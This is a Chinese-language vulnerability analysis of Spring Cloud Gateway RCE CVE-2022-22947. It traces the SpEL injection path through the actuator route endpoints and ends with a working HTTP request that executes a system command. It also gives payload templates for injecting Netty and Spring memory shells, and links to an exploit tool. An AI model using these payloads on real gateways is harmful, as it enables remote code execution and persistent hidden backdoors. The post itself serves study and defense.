spring cloud gateway rce(CVE-2022-22947)分析
2022/8/23 23:25:29
本文主要是介绍spring cloud gateway rce(CVE-2022-22947)分析,对大家解决编程问题具有一定的参考价值,需要的程序猿们随着小编来一起学习吧!
环境搭建
https://github.com/spring-cloud/spring-cloud-gateway/releases/tag/v3.0.6
漏洞分析
该漏洞造成原因是因为配置可写+SPEL表达式的解析导致的
SpEL表达式的触发方式有3种,xml,注释,直接传参。这里基本不可能是将恶意poc传到注释中,或者写入到xml中,所以触发方式应该是将输入poc当做某个函数的参数传入其中的,而SpEL表达式的解析的方法为SpelExpressionParser.parseExpression()
函数
全局检索这个危险函数
初步定位到org/springframework/cloud/gateway/support/ShortcutConfigurable.java
中的49行函数,此处的的entryValue
为传入执行参数,因此需要追踪该参数的传入路径。
往上跟踪会发现在其自定义的,normalize()
函数中会传从args中取出值放入到getValue()
函数中
继续跟踪发现值从this.properties参数传入
打上断点,使用refresh的会将poc执行触发漏洞,查看堆栈信息
刚开始的入口为org/springframework/cloud/gateway/actuate/AbstractGatewayControllerEndpoint.java
的refresh controller控制器,进入逻辑
接下来就是定位参数值从哪里获取了,因为是分析1day漏洞,知道poc怎么写,大致清楚是从route的配置信息中获取的,这里的值也是从org/springframework/cloud/gateway/support/ConfigurationService.java
的this.properties
中获取的,查看该成员变量的赋值情况
查看传入处,可以定位到definition变量,这个变量是从filter中获取的值,通过for循环一个个的往properties中传
因为该漏洞是多步触发,这个filter的属性一定是以内存,文本,数据库之一的形式暂存的,此次的debug跟踪只能找到读取来源,可以看到从gatewayproperties中获取
接下来看看最先传入的逻辑,也就是post路由
跟进设置处的代码,仅检测url中的路由中的id是否为空,并且会将id设置为route,其他内容可以自由发挥
尝试发送空的json的数据包,符合格式,但可以从log中看到包含的参数有predicates,filters,url,order,metadata
将数据包发过去并refresh,发现报错,报错内容中最后出错处提示需要uri参数
注意: 这时候需要将其路由使用delete删除,不然后面的所有refresh都会报错,也就是说之前的poc如果有错误,需要delete,不然后续即使写到其他路由也会在refresh执行时报错
带上uri参数,就没报错了,并且成功回显了
再次跟踪refresh执行SpEL表达式的逻辑,带上filter参数,成功执行命令
再次请求可以返回命令信息,所以必要参数是uri,而网上公布的poc中的id参数并不是必要的
至于传入poc的参数为filters,debug调试,查看调用处逻辑,在此处传入的合法字段有predicates,filters,uri,metadata,order
这里面的filters和predicates为数组,uri为uri类型并且已经被处理过,无法注入恶意poc,注入恶意poc也会报错,而predicates不会走到SpEL表达式逻辑。
而filters中的name值也有一定的要求,必须是在以下类中的名称,非这个类的方法名称测会在post时候会进行报错
org/springframework/cloud/gateway/route/builder/GatewayFilterSpec.java
整理如下,均会执行SpEL的表达式
能回显 AddRequestHeader AddRequestParameter AddResponseHeader SetRequestHeader SetResponseHeader 不能回显 DedupeResponseHeader MapRequestHeader ModifyRequestBody ModifyResponseBody PreserveHostHeader PrefixPath RemoveRequestHeader RemoveRequestParameter RemoveResponseHeader SecureHeaders RewriteResponseHeader RewriteLocationResponseHeader SetStatus SaveSession StripPrefix RequestHeaderToRequestUri
最终poc如下
POST /actuator/gateway/routes/a HTTP/1.1 Host: 127.0.0.1:8080 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:103.0) Gecko/20100101 Firefox/103.0 Accept: */* Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 Accept-Encoding: gzip, deflate Connection: close Sec-Fetch-Dest: empty Sec-Fetch-Mode: cors Sec-Fetch-Site: same-origin Content-Type: application/json Content-Length: 267 { "uri":"lb://httpbin", "filters":[{ "name":"SetResponseHeader", "args":{ "name":"a", "value":"#{new String(T(org.springframework.util.StreamUtils).copyToByteArray(T(java.lang.Runtime).getRuntime().exec(new String[]{\"id\"}).getInputStream()))}" } } ] }
注入内存马的上下文信息可以参考
https://mp.weixin.qq.com/s/S15erJhHQ4WCVfF0XxDYMg
https://blog.wanghw.cn/tech-share/cve-2022-22947-inject-godzilla-memshell.html
内存马分为2个层级一个是netty中间件级的内存马,一个是spring框架层的内存马,加载机制无非是通过classloader去加载base64解码后的字节码,然后进行运行注入到内存中
//netty #{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject()} //spring #{T(org.springframework.cglib.core.ReflectUtils).defineClass('MemClassName',T(org.springframework.util.Base64Utils).decodeFromString('yv66vgAAADQAjgoABgBL...'),new javax.management.loading.MLet(new java.net.URL[0],T(java.lang.Thread).currentThread().getContextClassLoader())).doInject(@requestMappingHandlerMapping)}
输出成脚本工具
https://github.com/SiJiDo/CVE-2022-22947
这篇关于spring cloud gateway rce(CVE-2022-22947)分析的文章就介绍到这儿,希望我们推荐的文章对大家有所帮助,也希望大家多多支持为之网!
- 2024-05-15鸿蒙生态设备数量超8亿台
- 2024-05-13TiDB + ES:转转业财系统亿级数据存储优化实践
- 2024-05-09“2024鸿蒙零基础快速实战-仿抖音App开发(ArkTS版)”实战课程已上线
- 2024-05-09聊聊如何通过arthas-tunnel-server来远程管理所有需要arthas监控的应用
- 2024-05-09log4j2这么配就对了
- 2024-05-09nginx修改Content-Type
- 2024-05-09Redis多数据源,看这篇就够了
- 2024-05-09Google Chrome驱动程序 124.0.6367.62(正式版本)去哪下载?
- 2024-05-09有没有大佬知道这种数据应该怎么抓取呀?
- 2024-05-09这种运行结果里的10.100000001,怎么能最快改成10.1?